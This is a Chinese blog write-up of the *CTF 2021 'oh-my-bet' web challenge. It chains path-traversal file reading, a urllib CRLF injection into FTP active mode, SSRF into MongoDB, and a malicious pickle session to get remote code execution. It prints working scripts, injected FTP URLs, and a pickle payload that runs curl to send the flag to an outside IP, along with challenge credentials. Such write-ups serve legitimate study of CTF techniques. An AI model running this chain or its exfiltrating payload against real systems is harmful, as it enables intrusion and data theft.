*CTF oh-my-bet复现

·
CTFWP no tag March 19, 2021

*CTF复现

这是*CTF中质量最高的一道Web,学到了很多东西。做一个记录。

oh-my-bet

这是一道利用FTP构造SSRF攻击mongo,并向mongo中插入恶意pickle链,造成RCE的题目,预期攻击链为

FTP->mongo->pickle->rce

image.png

首先图片读取头像那里是可以读文件的。可以拿到源码

因为是按账号来的,所以写一个读文件脚本

import requests
import random
s=random.randint(1,9999999999)
burp0_url = "http://123.57.145.88:8088/login"
# burp0_cookies = {"style": "qingxin", "SESSIONID": "88dcb995-dff9-4d8b-a824-6c867ebbd72c.PFTtTPSHJ0XxdxDs52O-MBKJQx0", "request_token": "jcp6gc3dHY2wRqYoHL4M0ZSnzaiXSZ68unqn3nv9H0n1jD5g", "pro_end": "-1", "ltd_end": "-1", "serverType": "nginx", "order": "id%20desc", "network-unitType": "KB/s", "disk-unitType": "KB/s", "session": "7146526e-42f4-466f-a666-c3af731ed74b"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://123.57.145.88:8088", "Connection": "close", "Referer": "http://123.57.145.88:8088/login", "Upgrade-Insecure-Requests": "1", "X-Forwarded-For": "127.0.0.1", "X-Originating-IP": "127.0.0.1"}
burp0_data = {"username": f"{s}", "password": f"{s}", "avatar": "../../../../../../../etc/passwd", "submit": "Go!"}
res=requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(res.text)

我们主要看/app/utils.py的这一段代码

def get_avatar(username):

    dirpath = os.path.dirname(__file__)
    user = User.query.filter_by(username=username).first()

    avatar = user.avatar
    if re.match('.+:.+', avatar):
        path = avatar
    else:
        path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', avatar])
    try:
        content = base64.b64encode(urllib.request.urlopen(path).read())
    except Exception as e:
        error_path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', 'error.png'])
        content = base64.b64encode(urllib.request.urlopen(error_path).read())
        print(e)

    return content

读一下config.py

import pymongo
from ftplib import FTP
import json

class Config(object):

    def ftp_login(self):
        ftp = FTP()
        ftp.connect("172.20.0.2", 8877)
        ftp.login("fan", "root")
        return ftp

    def callback(self,*args, **kwargs):
        data = json.loads(args[0].decode())
        self.data = data

    def get_config(self):
        f = self.ftp_login()
        f.cwd("files")
        buf_size = 1024
        f.retrbinary('RETR {}'.format('config.json'), self.callback, buf_size)

    def __init__(self):
        self.get_config()
        data = self.data

        self.secret_key = data['secret_key']
        self.SECRET_KEY = data['secret_key']
        self.DEBUG = data['DEBUG']
        self.SESSION_TYPE = data['SESSION_TYPE']
        remote_mongo_ip = data['REMOTE_MONGO_IP']
        remote_mongo_port = data['REMOTE_MONGO_PORT']
        self.SESSION_MONGODB = pymongo.MongoClient(remote_mongo_ip, remote_mongo_port)
        self.SESSION_MONGODB_DB = data['SESSION_MONGODB_DB']
        self.SESSION_MONGODB_COLLECT = data['SESSION_MONGODB_COLLECT']
        self.SESSION_PERMANENT = data['SESSION_PERMANENT']
        self.SESSION_USE_SIGNER = data['SESSION_USE_SIGNER']
        self.SESSION_KEY_PREFIX = data['SESSION_KEY_PREFIX']

        self.SQLALCHEMY_DATABASE_URI = data['SQLALCHEMY_DATABASE_URI']
        self.SQLALCHEMY_TRACK_MODIFICATIONS = data['SQLALCHEMY_TRACK_MODIFICATIONS']

        self.REDIS_URL = data['REDIS_URL']

发现有个ftp服务器。urllib本身是支持ftp协议的。

这个 urllib.request.urlopen,测试发现存在 CRLF 注入。

尝试攻击FTP服务器获取一些配置信息

ftp://172.20.0.2:8877/
ftp://172.20.0.2:8877/files/config.json
ftp://fan:root@172.20.0.2:8877/files/config.json

config.json

{
  "secret_key":"f4545478ee86$%^&&%$#",
  "DEBUG": false,
  "SESSION_TYPE": "mongodb",
  "REMOTE_MONGO_IP": "172.20.0.5",
  "REMOTE_MONGO_PORT": 27017,
  "SESSION_MONGODB_DB": "admin",
  "SESSION_MONGODB_COLLECT": "sessions",
  "SESSION_PERMANENT": true,
  "SESSION_USE_SIGNER": false,
  "SESSION_KEY_PREFIX": "session:",
  "SQLALCHEMY_DATABASE_URI": "mysql+pymysql://root:starctf123456@172.20.0.3:3306/ctf?charset=utf8",
  "SQLALCHEMY_TRACK_MODIFICATIONS": true,
  "REDIS_URL": "redis://@172.20.0.4:6379/0"
}

到这里就能发现这道题目一共启动了五个服务容器,地址为172.20.0.2的FTP服务器。

地址172.20.0.5,存储用户session的mongodb服务器。地址为172.20.0.3的登录注册MYSQL服务器。地址为172.20.0.4的redis服务器。

这道题目描述说打redis没用。在别的及其寻找突破扣。

这个题虽然是使用 mongodb 存储 session,flask_session会存储一个pickle串到mongo数据库中,并在登录的时候通过反序列化mongo数据库中检索的pickle串来生成SESSION。

现在我们的目的是把恶意的序列化数据注入到mongodb里。这里就要借助ftp了。同时借助CRLF,我们在url的任意一个part注入换行符,这样我们就可以控制ftp客户端的行为了。

这道题是有了urllib的漏洞CVE-2019-9740

https://xz.aliyun.com/t/5123

https://bugs.python.org/issue36276

ftp主动模式

利用ftp主动模式可以将ftp服务器内可控的二进制文件发送到任意ip任意端口。那么如何控制ftp服务器里的文件呢?

主动模式不仅可以用于文件的下载,还可以用于文件的上传。也就是说控制ftp服务器来下载我们的文件就好了

主动模式可以远程请求一个服务器端口下载(STOR)和上传文件(RETR)

所以思路是这样的:

  1. 将数据包放到vps上,利用 ftp 将数据包上传到 ftp server;
  2. 利用 ftp 把 ftp server 的数据包发送到 mongodb (把流量打过去)
  3. 刷新相应 session 页面,触发反序列化

在vps上起一个发送文件的socket

import socket
HOST = '0.0.0.0'  
PORT = 2000
blocksize = 4096
fp = open('Yang99', 'rb')
s = socket.socket() 
s.bind((HOST, PORT))
print('start listen...')
s.listen(5)
conn, addr = s.accept()
while 1:
    buf = fp.read(blocksize)
    if not buf:
        fp.close()
        break
    conn.sendall(buf)
print('end.')

接着我们发现这样是可以写文件的

ftp://fan:root\r\nCWD .\r\nTYPE I\r\nPORT 47,97,123,81,7,208\r\nSTOR koz\r\n@172.20.0.2:8877/

这样就能让FTP下载任意文件了

-rw-r--r--   1 root     root           21 Mar 19 08:44 Yang_99
drwxr-xr-x   2 root     root         4096 Jan 22 04:05 files
-rw-r--r--   1 root     root          464 Jan 22 04:05 ftp-server.py

构造mongodb数据包

首先起一个mongodb的docker

docker run -itd --name mongo -p 27017:27017 mongo

按照题目,进入容器,创建名为 admin 的数据库与名为 sessions 的 collection。

mongo admin
db.createCollection("sessions")
db.sessions.find()

然后我们模拟一下插入数据,用socat抓流量。

用python脚本插入数据

import requests
from base64 import *
import random
import string
import cPickle
import os
from pymongo import MongoClient


def get_payload():
    cmd = 'curl -d "`/readflag`" 47.97.123.81:11451'

    class exp(object):
        def __reduce__(self):
            return (os.system, (cmd,))

    data = cPickle.dumps(exp())

    client = MongoClient('localhost', 4444)
    tmp = client.admin.sessions
    tmp.update_one(
        {'id': 'session:5b3c3cb9-d81c-419d-8e2d-3a8130ebde62'},
        {"$set": {"val": data}},
        upsert=True
    )
get_payload()
socat -v -x tcp-listen:4444,fork tcp-connect:localhost:27017

image.png

这一部分就是我们需要的流量。要保存这部分流量。

socat -x tcp-listen:4444,fork tcp-connect:localhost:27017

这样可以抓到流量的16进制,把16进制粘到winhex里得到流量包文件。

FTP主动模式攻击mongodb

用刚才传文件的姿势把流量包上传,然后用FTP把流量打过去。

ftp://fan:root\r\nCWD .\r\nTYPE I\r\nPORT 172,20,0,5,105,137\r\nRETR exp\r\n@172.20.0.2:8877/

打过去之后带着cookie访问网站,会发现已经接到了flag

image.png

参考 https://www.shuzhiduo.com/A/n2d9ZDaBzD/

http://w4nder.top/?p=382

https://ha1c9on.top/2021/01/18/starctf2021-oh-my-bet/

https://xuanxuanblingbling.github.io/ctf/web/2019/10/13/complex/

https://igml.top/2021/01/19/2021-starctf/

https://blog.frankli.site/2021/01/18/*CTF-2021-Web/#oh-my-bet

https://bugs.python.org/issue36276

  • hgame2021 wp
  • NepCTF 欢乐个人赛
取消回复

说点什么?
Title
ftp主动模式
构造mongodb数据包
FTP主动模式攻击mongodb

© 2023 Yang_99的小窝. Using Typecho & Moricolor.